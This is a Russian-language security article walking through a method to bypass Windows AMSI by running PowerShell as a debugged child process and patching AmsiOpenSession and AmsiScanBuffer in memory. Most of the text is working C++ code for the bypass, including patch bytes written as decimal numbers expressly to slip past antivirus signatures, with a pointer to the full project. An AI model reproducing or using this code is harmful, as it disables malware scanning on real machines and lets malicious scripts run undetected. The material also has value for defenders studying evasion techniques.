April 23, 2024

Злой отладчик. Изучаем новый способ обхода AMSI в Windows

  1. Становимся дебаггером
  2. Избегаем использования функции DebugActiveProcess
  3. Заключение

Antimalware Scan Interface — сис­тема, которую в Microsoft соз­дали для защиты от вре­донос­ных сце­нари­ев на PowerShell. В этой статье я про­демонс­три­рую, как работа­ет один из методов обхо­да это­го механиз­ма. Мы будем запус­кать сце­нарий PowerShell как про­цесс под отладкой, что откро­ет некото­рые инте­рес­ные воз­можнос­ти.

На высоком уров­не AMSI хука­ет каж­дую коман­ду или сце­нарий во вре­мя выпол­нения и переда­ет их локаль­ному анти­вирус­ному ПО для про­вер­ки. При­чем под­держи­вают­ся прак­тичес­ки любые анти­виру­сы, это может быть не толь­ко стан­дар­тный Defender.

AMSI уме­ет работать:

  • с PowerShell;
  • Windows Script Host (wscript и cscript);
  • JavaScript и VBScript;
  • VBA-мак­росами.

Проб­лема такой реали­зации в том, что amsi.dll (в которой реали­зова­на вся логика AMSI) находит­ся в адресном прос­транс­тве текуще­го про­цес­са. Как следс­твие, у ата­кующих появ­ляет­ся воз­можность манипу­лиро­вать этой биб­лиоте­кой так, как они захотят сами. Уже при­дума­но мно­жес­тво спо­собов обхо­да, это и amsiInitFailed, и хукинг, и пат­чинг. Сегод­ня мы обсу­дим еще один метод обхо­да — запуск про­цес­са PowerShell в режиме отладки.

СТАНОВИМСЯ ДЕБАГГЕРОМ

Не­дав­но я обна­ружил инте­рес­ную API-фун­кцию DebugActiveProcess(), которая поз­воля­ет нашему про­цес­су стать дебаг­гером для дру­гого про­цес­са. Про­тотип у нее очень прос­той, ей нуж­но передать лишь PID про­цес­са, который тре­бует­ся отла­живать.

BOOL DebugActiveProcess( [in] DWORD dwProcessId);

К сожале­нию, абы какой про­цесс отла­живать не получит­ся. Успешный вызов этой фун­кции получит­ся, толь­ко если выпол­няет­ся хотя бы одно из сле­дующих усло­вий:

  • у токена нашего про­цес­са есть SeDebugPrivilege;
  • мы можем зап­росить хендл на отла­жива­емый про­цесс с мас­кой PROCESS_ALL_ACCESS.

Ка­залось бы, тре­бова­ния более чем серь­езные, но нич­то не меша­ет нам запус­тить про­цесс powershell.exe как дочер­ний, а на дочер­ний про­цесс наш родитель­ский уж точ­но смо­жет зап­росить мас­ку PROCESS_ALL_ACCESS.

Что же нам даст ста­тус дебаг­гера? Единс­твен­ное пре­иму­щес­тво — воз­можность обра­баты­вать Debug-события, сре­ди которых LOAD_DLL_DEBUG_EVENT. Событие генери­рует­ся сра­зу же, как толь­ко идет попыт­ка заг­рузки DLL в адресное прос­транс­тво отла­жива­емо­го про­цес­са. При­чем будет запол­нена струк­тура LOAD_DLL_DEBUG_INFO, содер­жащая базовый адрес под­гру­жаемой биб­лиоте­ки. А с базовым адре­сом уже мож­но наворо­тить немало дел...

Пред­лагаю перей­ти к прак­тике. Во‑пер­вых, мы не можем сле­по взять и запус­тить про­цесс, а потом непонят­но ког­да при­цепить­ся к нему отладчи­ком — так есть шанс про­пус­тить момент заг­рузки amsi.dll в про­цесс. Поэто­му про­цесс дол­жен быть запущен с фла­гом CREATE_SUSPENDED. Во‑вто­рых, из‑за того, что мы никак не обра­баты­ваем Debug-события, при­ложе­ние может упасть. Поэто­му пос­ле того, как про­пат­чим AMSI, сле­дует как мож­но ско­рее перес­тавать быть дебаг­гером.

Для соз­дания про­цес­са я написал отдель­ную фун­кцию StartProcessSuspended().

DWORD StartProcessSuspended(LPWSTR ProcName, HANDLE& hThread, HANDLE& hProc) { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(ProcName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { DWORD err = GetLastError(); std::cout << h("[-] Cant Create Suspended Process : ") << err << " " << GetWinapiErrorDescription(err) << std::endl; return -1; } hThread = pi.hThread; hProc = pi.hProcess;#ifdef DEBUG std::cout << h("[+] Process Created Successfully") << std::endl;#endif return pi.dwProcessId;}

Здесь допол­нитель­но ука­зан флаг CREATE_NEW_CONSOLE. Он нужен, что­бы powershell.exe запус­калась как новая кон­соль. Как буд­то мы ее запус­тили вруч­ную, дваж­ды клик­нув на исполня­емый файл. Фун­кция воз­вра­щает PID соз­данно­го про­цес­са, а так­же ини­циали­зиру­ет хен­длы, ука­зыва­ющие на глав­ный поток про­цес­са и на сам про­цесс.

Пос­ле соз­дания про­цес­са мы дол­жны при­цепить­ся к нему в качес­тве отладчи­ка. Дела­ем это при помощи фун­кции DebugActiveProcess().

if (!DebugActiveProcess(pid)) { DWORD err = GetLastError(); std::cerr << h("[-] Failed to attach to process: ") << err << " " << GetWinapiErrorDescription(err) << std::endl; return 1; }

Этой фун­кции тре­бует­ся толь­ко PID, PID воз­вра­щает­ся из StartProcessSuspended(). Теперь можем сме­ло возоб­новлять основной поток про­цес­са, не боясь про­пус­тить заг­рузку amsi.dll. Пос­ле возоб­новле­ния потока про­цес­са сра­зу же вызыва­ем WaitForDebugEvent() и начина­ем обра­баты­вать отла­доч­ные события.

Фун­кция WaitForDebugEvent() слу­жит для обра­бот­ки всех отла­доч­ных событий и име­ет прос­той про­тотип.

BOOL WaitForDebugEvent( [out] LPDEBUG_EVENT lpDebugEvent, [in] DWORD dwMilliseconds);

  • lpDebugEvent — экзем­пляр спе­циаль­ной струк­туры, которая будет содер­жать информа­цию об отла­доч­ном событии;
  • dwMilliseconds — вре­мя, в течение которо­го ожи­дать отла­доч­ное событие. Ста­вим INFINITE, что­бы ждать бес­конеч­но.

Пос­ле появ­ления любого отла­доч­ного события фун­кция вер­нет true, а в lpDebugEvent.dwDebugEventCode будет лежать тип события. Нас инте­ресу­ют толь­ко LOAD_DLL_DEBUG_EVENT и EXIT_PROCESS_DEBUG_EVENT. Вызов фун­кции обыч­но завора­чива­ют в цикл while, а события обра­баты­вают через switch-case.

while (WaitForDebugEvent(&debugEvent, INFINITE)) { switch (debugEvent.dwDebugEventCode) { case LOAD_DLL_DEBUG_EVENT: ... break; case EXIT_PROCESS_DEBUG_EVENT: ... break; } ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.dwThreadId, DBG_CONTINUE); }

Те­перь нуж­но убе­дить­ся в том, что под­гру­зилась дей­стви­тель­но amsi.dll (дру­гие биб­лиоте­ки нас не инте­ресу­ют). Для получе­ния име­ни биб­лиоте­ки по ее хен­длу (хендл будет лежать в lpDebugEvent.u.LoadDll.hFile) выпол­няет­ся фун­кция GetFinalPathNameByHandleA(). Она вер­нет в свой вто­рой параметр пол­ный путь DLL, который мы будем срав­нивать с ори­гиналь­ным мес­тополо­жени­ем amsi.dll.

case LOAD_DLL_DEBUG_EVENT: char szName[MAX_PATH]; if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName, MAX_PATH, VOLUME_NAME_DOS)) { if (strcmp(szName, h("\\\\?\\C:\\Windows\\System32\\amsi.dll")) == 0) { // Подгрузился AMSI } }

На­конец, прис­тупа­ем к пат­чингу биб­лиоте­ки. Сна­чала сох­раня­ем базовый адрес заг­рузки (его мож­но получить из lpDebugEvent.u.LoadDll.lpBaseOfDll) в отдель­ную перемен­ную. Сле­дующим шагом нам нуж­но получить адре­са фун­кций AmsiOpenSession() и AmsiScanBuffer(). Их‑то мы и будем пат­чить. Есть два вари­анта:

  • прос­той спо­соб. Гру­зим в адресное прос­транс­тво собс­твен­ного про­цес­са биб­лиоте­ку amsi.dll и через GetProcAddress() получа­ем адре­са нуж­ных фун­кций. Из‑за осо­бен­ностей DLL эти фун­кции будут рас­положе­ны по тем же адре­сам в про­цес­се powershell.exe;
  • слож­ный спо­соб. Ничего не гру­зим в собс­твен­ный про­цесс, а пар­сим EAT под­гру­жаемой в текущий момент в про­цесс PowerShell биб­лиоте­ки amsi.

Я, само собой, выб­рал слож­ный спо­соб. Для это­го вывел всю логику по пар­сингу EAT в отдель­ную фун­кцию GetFunctionAddressFromEAT(), она при­нима­ет хендл про­цес­са, базовый адрес биб­лиоте­ки, а так­же имя фун­кции, адрес которой нуж­но получить.

FARPROC GetFunctionAddressFromEAT(HANDLE hProcess, LPVOID baseAddress, const std::string& functionName){ DWORD err; IMAGE_DOS_HEADER dosHeader; if (!ReadProcessMemory(hProcess, baseAddress, &dosHeader, sizeof(dosHeader), nullptr)) { err = GetLastError(); std::cout << h("[-] Failed to read IMAGE_DOS_HEADER: ") << err << h(" ") << GetWinapiErrorDescription(err) << std::endl; return nullptr; } IMAGE_NT_HEADERS ntHeader; if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + dosHeader.e_lfanew, &ntHeader, sizeof(ntHeader), nullptr)) { err = GetLastError(); std::cout << h("[-] Failed to read IMAGE_NT_HEADERS") << err << h(" ") << GetWinapiErrorDescription(err) << std::endl; return nullptr; } IMAGE_EXPORT_DIRECTORY exportDirectory; if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &exportDirectory, sizeof(exportDirectory), nullptr)) { err = GetLastError(); std::cout << h("[-] Failed to read IMAGE_EXPORT_DIRECTORY") << err << h(" ") << GetWinapiErrorDescription(err) << std::endl; return nullptr; } DWORD* functionAddresses = new DWORD[exportDirectory.NumberOfFunctions]; ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + exportDirectory.AddressOfFunctions, functionAddresses, sizeof(DWORD) * exportDirectory.NumberOfFunctions, nullptr); DWORD* functionNames = new DWORD[exportDirectory.NumberOfNames]; ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + exportDirectory.AddressOfNames, functionNames, sizeof(DWORD) * exportDirectory.NumberOfNames, nullptr); WORD* functionNameOrdinals = new WORD[exportDirectory.NumberOfNames]; ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + exportDirectory.AddressOfNameOrdinals, functionNameOrdinals, sizeof(WORD) * exportDirectory.NumberOfNames, nullptr); FARPROC functionAddress = nullptr; for (DWORD i = 0; i < exportDirectory.NumberOfNames; ++i) { char name[256] = { 0 }; ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + functionNames[i], name, sizeof(name), nullptr); if (functionName == name) { DWORD functionOrdinal = functionNameOrdinals[i]; DWORD functionRelativeVirtualAddress = functionAddresses[functionOrdinal]; functionAddress = reinterpret_cast<FARPROC>(reinterpret_cast<std::uint8_t*>(baseAddress) + functionRelativeVirtualAddress); break; } } delete[] functionAddresses; delete[] functionNames; delete[] functionNameOrdinals; return functionAddress;}PVOID addr = GetFunctionAddressFromEAT(hProc, amsiBase, h("AmsiOpenSession"));

Здесь идет стан­дар­тный пар­синг EAT, прос­то биб­лиоте­ки дру­гого про­цес­са. Пос­ле получе­ния адре­са перехо­дим к пат­чу. Я рекомен­дую исполь­зовать патч Rasta Mouse. Проб­лема лишь в том, что его патч уже известен и на пос­ледова­тель­ность 0x48, 0x31, 0xC0 могут ругать­ся анти­виру­сы. Поэто­му пред­лагаю сох­ранить патч в виде пос­ледова­тель­нос­ти десятич­ных чисел и кон­верти­ровать шес­тнад­цатерич­ные на лету.

int values[3] = { 72, 49, 192 };char patch[3];std::ostringstream oss; for (int i = 0; i < 3; i++) { oss << std::hex << std::setw(2) << std::setfill('0') << values[i]; std::string hexValue = oss.str(); patch[i] = std::stoi(hexValue, nullptr, 16); oss.str("");}

Сам патч при­менить нес­ложно — дос­таточ­но вос­поль­зовать­ся фун­кци­ей WriteProcessMemory(), которой переда­дим хендл про­цес­са powershell.exe и адрес фун­кции, которую нуж­но про­пат­чить. В дан­ном слу­чае — AmsiOpenSession().

WriteProcessMemory(hProc, addr, (PVOID)patch, 3, nullptr); DWORD err1 = GetLastError();if (err1 != 0) { std::cout << h("[-] Error patching AmsiOpenSession: ") << err1 << h(" ") << GetWinapiErrorDescription(err1) << std::endl;}

Точ­но таким же обра­зом пат­чим AmsiScanBuffer().

PVOID addr2 = GetFunctionAddressFromEAT(hProc, amsiBase, h("AmsiScanBuffer"));int values2[6] = { 184, 87,0,7,128,195 }; char patch2[6];std::ostringstream oss2;for (int i = 0; i < 6; i++) { oss2 << std::hex << std::setw(2) << std::setfill('0') << values2[i]; std::string hexValue2 = oss2.str(); patch2[i] = std::stoi(hexValue2, nullptr, 16); oss2.str("");}WriteProcessMemory(hProc, addr2, (PVOID)patch2, 6, nullptr);err1 = GetLastError();if (err1 != 0) { std::cout << h("[-] Error patching AmsiScanBuffer: ") << err1 << h(" ") << GetWinapiErrorDescription(err1) << std::endl;}std::cout << h("[+] Patching Complete") << std::endl;goto me;

За­тем нуж­но как мож­но ско­рее перес­тать быть отладчи­ком. Для это­го ста­вим мет­ку на фун­кцию DebugActiveProcessStop().

me:if (!DebugActiveProcessStop(pid)) { DWORD ll = GetLastError(); std::cerr << h("[-] Failed to detach from process: ") << ll << h(" ") << GetWinapiErrorDescription(ll) << std::endl; return -1; }

Пол­ный код про­екта дос­тупен на мо­ем GitHub. Дос­таточ­но лишь запус­тить исполня­емый файл, а он при­ведет к тому, что у нас появит­ся окно powershell.exe, уже с про­пат­ченным AMSI!

Ус­пешный патч

ИЗБЕГАЕМ ИСПОЛЬЗОВАНИЯ ФУНКЦИИ DEBUGACTIVEPROCESS

Фун­кция DebugActiveProcess(), конеч­но, хороша, но хотелось бы избе­жать и ее исполь­зования. В нашем слу­чае это воз­можно: я нашел еще один инте­рес­ный флаг, который мож­но ука­зать при запус­ке дочер­него про­цес­са. С этим фла­гом мы авто­мати­чес­ки ста­новим­ся отладчи­ком для дочер­него про­цес­са, что поз­воля­ет обра­баты­вать все отла­доч­ные события. Для это­го дос­таточ­но лишь ука­зать в фун­кции CreateProcess() зна­чение DEBUG_ONLY_THIS_PROCESS.

Из­менен­ный код фун­кции

В таком слу­чае часть с вызовом фун­кции DebugActiveProcess() мож­но заком­менти­ровать — она боль­ше не нуж­на.

Ра­бота­ющий патч

ЗАКЛЮЧЕНИЕ

WinAPI нас­толь­ко огро­мен, что даже самые легитим­ные фичи могут помочь ата­кующе­му дос­тичь сво­их целей. Самое глав­ное — най­ти нуж­ную фун­кцию и понять, в какой момент к ней обра­щать­ся. А все осталь­ное — дело тех­ники!